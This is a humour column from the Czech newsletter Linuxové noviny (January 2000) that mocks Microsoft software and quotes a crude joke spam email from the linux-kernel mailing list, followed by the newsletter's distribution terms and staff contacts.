Je až neuvěřitelné, jak katastrofálnı́ chybu může splodit
Microsoft Media Player. Chcete znát detaily?

Nejsem si vědom toho, že by byl operačnı́ systém Micro-
oft Windows 95 lokalizován do slovenského jazyka, ale kdo

vı́, penı́ze na to Microsoft má.

A do třetice všeho zlého se můžete podı́vat na poslednı́
obrázek, který pro nás ve Windows nachytali naši čtenáři.

Wordu se tvrdı́, že je to opravdu vhodný nástroj pro tvor-
u pamfletů velmi nı́zké typografické kvality. Zatı́m mi však
ikdo netvrdil, že by se ve Wordu dalo pracovat i s delšı́mi

dokumenty. Najde se někdo takový?



Linuxové noviny 01/2000

t

a

Tak tento obrázek jsem dostal od Petra Macháčka. Há-
dejte, jaký operačnı́ systém použı́vá na svých počı́tačı́ch. . .
Neuhodli jste, je to Linux!

Marketing Microsoft je opravdu úžasný. Jenom dva prs-
ı́čky tam strčı́me a hned zase půjdeme. A opravdu šli, nynı́

je na LinuxWorldu jiná reklama.

Krvelačného d’áblı́ka jsme tu již měli, ale o tučňákovi to
zatı́m nikdo nevěděl. To je pěkná mrška!

A na závěr malá seznamka. Věnujete se počı́tačům
zvláště Linuxu tak, že již nemáte čas na přitelkyni, milen-

ku či manželku? Nezoufejte, je tu Secret Squirrel se svojı́
nabı́dkou:
From: Secret Squirrel
<secret_squirrel@nym.alias.net>
Subject: Inflatable penguins for sale!
To: linux-kernel@vger.rutgers.edu
Date: 20 Nov 1999 17:37:36 -0000

Hey boys!

I have some inflatable penguins,
with fully operatable orifices so
you can fullfill that dream of
having sex with a penguin!!

Love and kisses

--
To unsubscribe from this list:
send the line "unsubscribe linux-kernel"
in the body of a message
to majordomo@vger.rutgers.edu
Please read the FAQ
at http://www.tux.org/lkml/

Bez komentáře.
P.S. Já jsem si zatı́m vždy čas na přı́telkyni dokázal udě-

lat. A vy? PF ’00.
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Linuxové noviny a jejich šı́řenı́

Linuxové noviny vydává České sdruženı́ uživatelů operačnı́ho
systému Linux (1) pro své přı́znivce a sympatizanty. Vlastnı́-
kem autorských práv k tomuto textu jako celku je Pavel Ja-
nı́k ml. (Pavel.Janik@linux.cz). Autorská práva k jednotlivým
článkům zůstávajı́ jejich autorům.

Tento text může být šı́řen a tištěn bez omezenı́. Pokud
použijete část některého článku zde uveřejněného v jiných
dı́lech, musı́te uvést jméno autora a čı́slo, ve kterém byl článek
uveřejněn.

Linuxové noviny jsou otevřeny každému, kdo by chtěl na-
šim čtenářům sdělit něco zajı́mavého. Přı́spěvky (ve formá-
tu čistého textu v kódovánı́ ISO 8859-2) posı́lejte na adresu
(2). Autor nemá nárok na finančnı́ odměnu a souhlası́ s pod-
mı́nkami uvedenými v tomto odstavci. Vydavatelé si vyhrazujı́
právo rozhodnout, zda Váš přı́spěvek uveřejnı́, či nikoli.

Registrované známky použité v tomto textu jsou majetkem
jejich vlastnı́ků.

Chtěl bych poděkovat Fakultě informatiky Masarykovy
university v Brně, INET, a.s., Juraji Bednárovi, Milanu Šor-
movi za poskytnutı́ diskového prostoru pro Linuxové noviny.

Linuxové noviny můžete najı́t na akademické sı́ti TEN-34
CZ (3), na sı́ti Global One na adrese (4), na serveru Gymnázia
Vı́deňská v Brně (5) a na serveru časopisu Netáčik (6), který
je připojen do slovenského SIXu.

Linuxové noviny jsou k dispozici také ve formátu HTML
na adrese (7).

1 České sdruženı́ uživatelů operačnı́ho systému Linux
http://www.linux.cz/czlug

2 Adresa redakce
mailto:noviny@linux.cz

3 Linuxové noviny na sı́ti TEN 34-CZ
ftp://ftp.fi.muni.cz/pub/linux/local/noviny

4 Linuxové noviny na sı́ti IBM Global One
ftp://ftp.inet.cz/pub/People/Pavel.Janik/noviny

5 Linuxové noviny na komerčnı́ sı́ti CESNET
http://www.gvid.cz/linux/noviny/

6 Slovenské zrcadlo Linuxových novin
ftp://netacik.sk/pub/linux/cz-noviny

7 Linuxové noviny ve formátu HTML
http://www.linux.cz/noviny

Šéfredaktor: Pavel Janı́k ml.
mailto:Pavel.Janik@linux.cz

sazba: Ondřej Koala Vácha
mailto:koala@informatics.muni.cz
jazykové korekce: Bohumil Chalupa
mailto:bochal@met.mff.cuni.cz
překlady: Hanuš Adler
mailto:had@articon.cz
převod do HTML: Pavel Juran
mailto:juran@proca.cz
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